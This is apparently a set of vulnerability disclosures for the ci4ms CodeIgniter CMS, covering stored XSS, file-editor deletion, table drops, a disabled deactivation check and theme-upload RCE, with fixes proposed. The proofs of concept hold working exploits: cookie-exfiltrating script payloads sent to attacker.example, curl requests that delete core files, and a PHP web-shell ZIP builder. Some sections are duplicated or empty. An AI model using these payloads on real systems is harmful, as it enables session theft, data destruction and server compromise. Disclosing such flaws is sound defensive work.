Quick note on the design intent for deleteProcess — I noticed delete_confirm.php scopes the checkboxes to the theme's own migration files, and the CHANGELOG confirms the selective deletion was intentional (admins can choose which tables to keep). The server-side deleteProcess already has all the information it needs to validate the input — deleteConfirm derives the valid table set from the migration files, deleteProcess just needs to do the same before acting on the POST. Happy to clarify if useful.

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

• Pages::create() registers the rule at line 82:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
  

  Then at lines 102–113 it reads the raw POST and inserts it untouched:

  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  

• Pages::update() mirrors the same pattern at lines 130 and 157:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW
  

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
2. isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

3. realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.

4. Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // <-- mutates only the local $value in CI4's validator
    self::$cleanCache[md5((string)$str)] = $clean;    // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) {                       // local $value
    $this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set->{$rule}($value, $error)                              // <-- $value is the local var
    : $set->{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this->request->getPost('lang');                            // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...;           // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
    $this->commonModel->create('blog_langs', [
        'blog_id' => $insertID,
        'lang'    => $lanCode,
        'title'   => trim(strip_tags($lanData['title'])),
        'seflink' => trim(strip_tags($lanData['seflink'])),
        'content' => $lanData['content'],                                  // <-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
    <?php echo $infos->content ?>
</section>

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

1. Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-xss' \
  -d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
  -d 'isActive=1' \
  -d 'categories[]=1' \
  -d 'author=1' \
  -d 'created_at=01.01.2026 10:00:00' \
  -d 'csrf_token_name=<token>'

2. The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.

3. Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

• Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
  • every anonymous public visitor that loads the affected blog post,
  • the superadmin and other backend reviewers when they open or preview the post.
• Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
• Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
• The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

   Minimal, immediate fix in the Blog controller — apply to both new and edit:

   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)
   use Modules\Backend\Validation\CustomRules;
   ...
   $this->commonModel->create('blog_langs', [
       'blog_id' => $insertID,
       'lang'    => $lanCode,
       'title'   => trim(strip_tags($lanData['title'])),
       'seflink' => trim(strip_tags($lanData['seflink'])),
       'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
       'seo'     => !empty($seoData) ? $seoData : '',
   ]);
   

   Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).

2. Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:

   // modules/Backend/Validation/CustomRules.php
   public function html_purify(?string &$str = null, ?string &$error = null): bool
   {
       if (empty(trim((string)$str))) return true;
       if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
       $original = (string)$str;
       $clean    = self::sanitizeHtml($original);
       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment
       $str = $clean;                                // best-effort; CI4 will drop this
       return true;
   }
   

3. Document explicitly in CustomRules that html_purify is not a sanitizer — it returns true unconditionally on any HTMLPurifier-installed environment — and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.

4. Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.

Summary

The auth filter has the deactivated/banned user check commented out.

Details

CodeIgniter Shield's loggedIn() re-checks the status field (catching status='banned'), but does not re-check the active field for existing sessions. When an admin deactivates a user (active=0) after they have already logged in:

• Their session cookie remains valid
• auth()->loggedIn() still returns true
• The commented-out code is the only mechanism that would have checked !$user->active

Evidence

Impact

• User deactivation does NOT immediately revoke backend access
• Deactivated user retains full access until session expires (default: 7200s)

Additional note

The commented-out block appears to be a deferred placeholder — it was written but disabled from the very first commit that introduced the filter, and has never been active. The later addition of SessionTracker (v0.31.4.0) suggests the dev was aware of the session revocation gap, but account-level deactivation (users.active = 0) remains unenforced. Could you verify if this is intentionally pending or simply forgotten and not documented?.

Summary

The deleteProcess() action accepts a POST parameter tables[] containing arbitrary table names. These are passed directly to $forge->dropTable() without validating that the tables belong to the theme being deleted.

The deleteConfirm view correctly populates tables[] from the theme's own migration files, but the server-side deleteProcess does not verify the received values against those files. An authenticated admin can craft a POST request with arbitrary table names and drop any table in the database.

This is a real bug even within the admin trust model: the action should be scoped to the theme's own tables. The permission grants delete this theme's data", not "drop any table".

Details

Location

modules/Theme/Controllers/Theme.php :: deleteProcess() ~line 147

Vulnerable Code

public function deleteProcess(string $slug)
{
    $themeName = $slug;
    $activeTheme = setting('App.siteTheme');
    if ($activeTheme === $themeName) {
        return redirect()->route('templateSettings')...;
    }

    $tablesToDrop = $this->request->getPost('tables');  // ← user-supplied, unvalidated
    if (!empty($tablesToDrop) && is_array($tablesToDrop)) {
        $forge = \Config\Database::forge();
        $db    = \Config\Database::connect();
        foreach ($tablesToDrop as $table) {
            if ($db->tableExists($table)) {
                $forge->dropTable($table, true);  // ← no whitelist check
            }
        }
    }

PoC

1. Authenticate to the backend (any user with theme.delete permission)
2. POST to /backend/themes/delete-process/<any_non_active_theme_slug>
3. Include tables[]=<any_table> in POST body
4. The named tables are dropped without validation

Impact

• Dropped ci4ms_blog (confirmed in test)
• Dropped ci4ms_users + ci4ms_auth_identities simultaneously — disables all authentication (confirmed)
• Any table in the database can be targeted

Additional note

Quick note on the design intent for deleteProcess — I noticed delete_confirm.php scopes the checkboxes to the theme's own migration files, and the CHANGELOG confirms the selective deletion was intentional (admins can choose which tables to keep). The server-side deleteProcess already has all the information it needs to validate the input — deleteConfirm derives the valid table set from the migration files, deleteProcess just needs to do the same before acting on the POST. Happy to clarify if useful.

Summary

A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.

Details

File: modules/Theme/Controllers/Theme.php

After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52

File: modules/Theme/Helpers/themes_helper.php

The helper copies every file matching . from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68

Because the web root is public/, any .php file placed there is directly reachable over HTTP.

PHP files are also installed — without filtering — into app/Controllers/templates//, app/Libraries/templates//, and other app/ subdirectories: themes_helper.php:31-42

The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20

PoC

Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).

Step 1 — Build the malicious ZIP:

import zipfile, io  
  
buf = io.BytesIO()  
with zipfile.ZipFile(buf, 'w') as z:  
    z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')  
buf.seek(0)  
with open('evil_theme.zip', 'wb') as f:  
    f.write(buf.read())

Step 2 — Upload:

POST /backend/themes/upload  
Content-Type: multipart/form-data  
  
field name: theme  
file:       evil_theme.zip  

Step 3 — Execute:

GET https://target.com/templates/evil/shell.php?c=id  

Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Impact

Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.

Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

